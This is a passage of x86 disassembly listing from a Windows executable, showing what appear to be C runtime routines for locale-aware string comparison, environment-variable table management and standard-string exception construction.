		cmp	[ebp+arg_4], ecx
		jz	short loc_425C7F
		push	esi
		push	edi


loc_425C40:				; CODE XREF: sub_425C06+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425C78
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425C6B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425C6B:				; CODE XREF: sub_425C06+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_4259E6
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425C78:				; CODE XREF: sub_425C06+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425C40
		pop	edi
		pop	esi


loc_425C7F:				; CODE XREF: sub_425C06+14j
					; sub_425C06+36j
		pop	ebx
		leave
		retn
sub_425C06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C82	proc near		; CODE XREF: sub_4258F3+5Ep
					; sub_426133+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425C8F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425C8F:				; CODE XREF: sub_425C82+7j
		push	dword_4E2944
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4E2B64
		call	sub_425D2F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425CBC
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425CBC:				; CODE XREF: sub_425C82+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425C82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425CC1	proc near		; CODE XREF: sub_4258F3+1Ep
					; sub_425FAC+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4E1528
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425D22
		mov	ebx, dword_427180


loc_425CDA:				; CODE XREF: sub_425CC1+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_427180
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425D2A
		push	ebp
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425D2A
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_427180
		test	eax, eax
		jz	short loc_425D2A
		push	edi
		push	[esp+18h+var_4]
		call	sub_425FAC
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425CDA


loc_425D22:				; CODE XREF: sub_425CC1+11j
		xor	eax, eax


loc_425D24:				; CODE XREF: sub_425CC1+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425D2A:				; CODE XREF: sub_425CC1+29j
					; sub_425CC1+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425D24
sub_425CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D2F	proc near		; CODE XREF: sub_425C82+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_51840FB8	= dword	ptr  51840FC0h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CC8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4E1800, ebx
		push	1
		pop	edi
		jnz	short loc_425DA2
		push	edi
		mov	eax, offset dword_427918
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_427008	; CompareStringW
		test	eax, eax
		jz	short loc_425D7F
		mov	dword_4E1800, edi
		jmp	short loc_425DA2
; ---------------------------------------------------------------------------


loc_425D7F:				; CODE XREF: sub_425D2F+46j
		push	edi
		mov	eax, offset dword_4D10A8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42700C	; CompareStringA
		test	eax, eax
		jz	loc_425F98
		mov	dword_4E1800, 2


loc_425DA2:				; CODE XREF: sub_425D2F+31j
					; sub_425D2F+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425DB9
		push	esi
		push	[ebp+arg_8]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425DB9:				; CODE XREF: sub_425D2F+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425DCE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425DCE:				; CODE XREF: sub_425D2F+8Dj
		mov	eax, dword_4E1800
		cmp	eax, 2
		jnz	short loc_425DF3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42700C	; CompareStringA
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425DF3:				; CODE XREF: sub_425D2F+A7j
		cmp	eax, edi
		jnz	loc_425F98
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425E08
		mov	eax, dword_4E15C0
		mov	[ebp+arg_18], eax


loc_425E08:				; CODE XREF: sub_425D2F+CFj
		cmp	esi, ebx
		jz	short loc_425E15
		cmp	[ebp+arg_14], ebx
		jnz	loc_425EAD


loc_425E15:				; CODE XREF: sub_425D2F+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425E22


loc_425E1A:				; CODE XREF: sub_425D2F+13Cj
					; sub_425D2F+16Dj
		push	2


loc_425E1C:				; CODE XREF: sub_425D2F+146j
		pop	eax
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425E22:				; CODE XREF: sub_425D2F+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_425E2E


loc_425E27:				; CODE XREF: sub_425D2F+151j
					; sub_425D2F+159j ...
		mov	eax, edi
		jmp	loc_425F9A
; ---------------------------------------------------------------------------


loc_425E2E:				; CODE XREF: sub_425D2F+F6j
		cmp	esi, edi
		jg	short loc_425E73
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0B40000h
		cmp	[ebp+arg_51840FB8], eax
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_425E77
		cmp	[ebp+var_3C], 2
		jb	short loc_425E73
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425E73


loc_425E59:				; CODE XREF: sub_425D2F+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425E73
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425E6D
		cmp	cl, dl
		jbe	short loc_425E1A


loc_425E6D:				; CODE XREF: sub_425D2F+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425E59


loc_425E73:				; CODE XREF: sub_425D2F+101j
					; sub_425D2F+120j ...
		push	3
		jmp	short loc_425E1C
; ---------------------------------------------------------------------------


loc_425E77:				; CODE XREF: sub_425D2F+119j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425EAD
		cmp	[ebp+var_3C], 2
		jb	short loc_425E27
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425E27


loc_425E8A:				; CODE XREF: sub_425D2F+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425E27
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_425EA2
		cmp	cl, dl
		jbe	loc_425E1A


loc_425EA2:				; CODE XREF: sub_425D2F+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_425E8A
		jmp	loc_425E27
; ---------------------------------------------------------------------------


loc_425EAD:				; CODE XREF: sub_425D2F+E0j
					; sub_425D2F+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_427184	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_425F98
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425EFC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_425EFC:				; CODE XREF: sub_425D2F+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_425F98
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427184
		call	esi ; dword_427184
		test	eax, eax
		jz	short loc_425F98
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_427184
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_425F98
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425F67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_425F67:				; CODE XREF: sub_425D2F+224j
		cmp	edi, ebx
		jz	short loc_425F98
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_427184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_425F98
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427008	; CompareStringW
		jmp	short loc_425F9A
; ---------------------------------------------------------------------------


loc_425F98:				; CODE XREF: sub_425D2F+63j
					; sub_425D2F+C6j ...
		xor	eax, eax


loc_425F9A:				; CODE XREF: sub_425D2F+BFj
					; sub_425D2F+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425D2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425FAC	proc near		; CODE XREF: sub_425CC1+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_426010
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4261F2
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_426010
		cmp	[ebp+arg_0], esi
		jz	short loc_426010
		mov	eax, dword_4E1520
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4E1524
		jnz	short loc_425FF6
		push	eax
		call	sub_42618B
		pop	ecx
		mov	dword_4E1520, eax


loc_425FF6:				; CODE XREF: sub_425FAC+3Cj
		cmp	eax, edi
		jnz	short loc_42604E
		cmp	[ebp+arg_4], edi
		jz	short loc_426018
		cmp	dword_4E1528, edi
		jz	short loc_426018
		call	sub_425CC1
		test	eax, eax
		jz	short loc_42604E


loc_426010:				; CODE XREF: sub_425FAC+Dj
					; sub_425FAC+22j ...
		or	eax, 0FFFFFFFFh


loc_426013:				; CODE XREF: sub_425FAC+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426018:				; CODE XREF: sub_425FAC+51j
					; sub_425FAC+59j
		cmp	ebx, edi
		jnz	loc_42612C
		push	4
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	dword_4E1520, eax
		jz	short loc_426010
		mov	[eax], edi
		cmp	dword_4E1528, edi
		jnz	short loc_42604E
		push	4
		call	sub_41BBCB
		cmp	eax, edi
		pop	ecx
		mov	dword_4E1528, eax
		jz	short loc_426010
		mov	[eax], edi


loc_42604E:				; CODE XREF: sub_425FAC+4Cj
					; sub_425FAC+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4E1520
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426133
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4260AE
		cmp	dword ptr [edi], 0
		jz	short loc_4260AE
		test	ebx, ebx
		jz	short loc_4260A6
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B961
		pop	ecx


loc_426080:				; CODE XREF: sub_425FAC+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_426090
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_426080
; ---------------------------------------------------------------------------


loc_426090:				; CODE XREF: sub_425FAC+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41BA78
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4260E0
		jmp	short loc_4260DB
; ---------------------------------------------------------------------------


loc_4260A6:				; CODE XREF: sub_425FAC+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4260E0
; ---------------------------------------------------------------------------


loc_4260AE:				; CODE XREF: sub_425FAC+BDj
					; sub_425FAC+C2j
		test	ebx, ebx
		jnz	short loc_42612C
		test	esi, esi
		jge	short loc_4260B8
		neg	esi


loc_4260B8:				; CODE XREF: sub_425FAC+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41BA78
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_426010
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4260DB:				; CODE XREF: sub_425FAC+F8j
		mov	dword_4E1520, eax


loc_4260E0:				; CODE XREF: sub_425FAC+F6j
					; sub_425FAC+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42612C
		push	[ebp+arg_0]
		call	sub_41B890
		inc	eax
		inc	eax
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42612C
		push	[ebp+arg_0]
		push	esi
		call	sub_41C550
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0B40000h
		push	ds
		push	esi
		call	sub_41B961
		pop	ecx


loc_42612C:				; CODE XREF: sub_425FAC+6Ej
					; sub_425FAC+104j ...
		xor	eax, eax
		jmp	loc_426013
sub_425FAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_426133	proc near		; CODE XREF: sub_425FAC+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4E1520
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42616E
		mov	edi, [esp+8+arg_4]


loc_426145:				; CODE XREF: sub_426133+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425C82
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426164
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42617E
		test	al, al
		jz	short loc_42617E


loc_426164:				; CODE XREF: sub_426133+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426145


loc_42616E:				; CODE XREF: sub_426133+Cj
		mov	eax, esi
		sub	eax, dword_4E1520
		sar	eax, 2
		neg	eax


loc_42617B:				; CODE XREF: sub_426133+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42617E:				; CODE XREF: sub_426133+2Bj
					; sub_426133+2Fj
		mov	eax, esi
		sub	eax, dword_4E1520
		sar	eax, 2
		jmp	short loc_42617B
sub_426133	endp


; =============== S U B	R O U T	I N E =======================================



sub_42618B	proc near		; CODE XREF: sub_425FAC+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_42619A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42619A:				; CODE XREF: sub_42618B+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4261AC


loc_4261A2:				; CODE XREF: sub_42618B+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4261A2


loc_4261AC:				; CODE XREF: sub_42618B+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4261CD
		push	9
		call	sub_41E0F9
		pop	ecx


loc_4261CD:				; CODE XREF: sub_42618B+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4261D1:				; CODE XREF: sub_42618B+5Bj
		test	eax, eax
		jz	short loc_4261E8
		push	eax
		add	ebx, 4
		call	sub_426265
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4261D1
; ---------------------------------------------------------------------------


loc_4261E8:				; CODE XREF: sub_42618B+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42618B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261F2	proc near		; CODE XREF: sub_425FAC+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4E295C, 0
		jnz	short loc_42620D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C650
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42620D:				; CODE XREF: sub_4261F2+Aj
		mov	ecx, [ebp+arg_0]


loc_426210:				; CODE XREF: sub_4261F2+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426253
		movzx	edx, al
		test	byte_4E2A61[edx], 4
		jz	short loc_42623F
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42624A
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42624E
		jmp	short loc_426247
; ---------------------------------------------------------------------------


loc_42623F:				; CODE XREF: sub_4261F2+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426253


loc_426247:				; CODE XREF: sub_4261F2+4Bj
		inc	ecx
		jmp	short loc_426210
; ---------------------------------------------------------------------------


loc_42624A:				; CODE XREF: sub_4261F2+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42624E:				; CODE XREF: sub_4261F2+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426253:				; CODE XREF: sub_4261F2+25j
					; sub_4261F2+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4261F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_426265	proc near		; CODE XREF: sub_41869A+21p
					; sub_42618B+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42628C
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41BBCB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42628C
		push	esi
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42628C:				; CODE XREF: sub_426265+7j
					; sub_426265+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426265	endp


; =============== S U B	R O U T	I N E =======================================



sub_426290	proc near		; CODE XREF: sub_40D3C6+15p
					; sub_40D41F+15p ...
		mov	eax, offset loc_426CC8
		call	sub_41D304
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D5C9
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D605
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4262EA
		lea	eax, [ebp-3Ch]
		push	offset dword_428058
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CE4
		call	sub_42676B
		pop	esi
sub_426290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262EA	proc near		; CODE XREF: sub_426290+3Fp
					; sub_4264BC+3Fp
		mov	eax, offset loc_426CDC
		call	sub_41D304
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_443398
		call	sub_426690
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D5C9
		push	dword_427698
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D476
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D04
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4262EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_42634E	proc near		; DATA XREF: .nsp0:00427CE8o
					; .nsp0:00427D08o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42635A
		mov	eax, offset dword_4276A8

locret_42635A:				; CODE XREF: sub_42634E+5j
		retn
sub_42634E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635B	proc near		; DATA XREF: .nsp0:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4263D1
		lea	eax, [ebp+var_1C]
		push	offset dword_4280C8
		push	eax
		call	sub_42676B
sub_42635B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426378	proc near		; CODE XREF: .nsp0:004263B8p
					; DATA XREF: .nsp0:004280CCo
		mov	eax, offset loc_426CF0
		call	sub_41D304
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426378	endp

; ---------------------------------------------------------------------------


loc_4263B5:				; DATA XREF: .nsp0:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_426378
		test	byte ptr [esp+8], 1
		jz	short loc_4263CB
		push	esi
		call	sub_41D323
		pop	ecx


loc_4263CB:				; CODE XREF: .nsp0:004263C2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4263D1	proc near		; CODE XREF: sub_42635B+Ap
					; sub_4264A4+7p ...
		mov	eax, offset loc_426D04
		call	sub_41D304
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_4266CD
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D5C9
		push	dword_427698
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D476
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D04
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4263D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42642E	proc near		; CODE XREF: sub_42646B+20p
					; DATA XREF: .nsp0:0042805Co
		mov	eax, offset loc_426D18
		call	sub_41D304
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42642E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42646B	proc near		; DATA XREF: .nsp0:00427CECo

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4264A4
		lea	eax, [ebp+var_1C]
		push	offset dword_428058
		push	eax
		call	sub_42676B


loc_426488:				; DATA XREF: .nsp0:off_427CE4o
		push	esi
		mov	esi, ecx
		call	sub_42642E
		test	[esp+20h+var_18], 1
		jz	short loc_42649E
		push	esi
		call	sub_41D323
		pop	ecx


loc_42649E:				; CODE XREF: sub_42646B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42646B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4264A4	proc near		; CODE XREF: sub_42646B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4263D1
		mov	dword ptr [esi], offset	off_427CE4
		mov	eax, esi
		pop	esi
		retn	4
sub_4264A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BC	proc near		; CODE XREF: sub_40D476+13p
					; sub_40D63A+Ep
		mov	eax, offset loc_426D2C
		call	sub_41D304
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D5C9
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D605
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4262EA
		lea	eax, [ebp-3Ch]
		push	offset dword_428180
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D14
		call	sub_42676B
		pop	esi
sub_4264BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426516	proc near		; CODE XREF: sub_426553+20p
					; DATA XREF: .nsp0:00428184o
		mov	eax, offset loc_426D40
		call	sub_41D304
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426553	proc near		; DATA XREF: .nsp0:00427D1Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42658C
		lea	eax, [ebp+var_1C]
		push	offset dword_428180
		push	eax
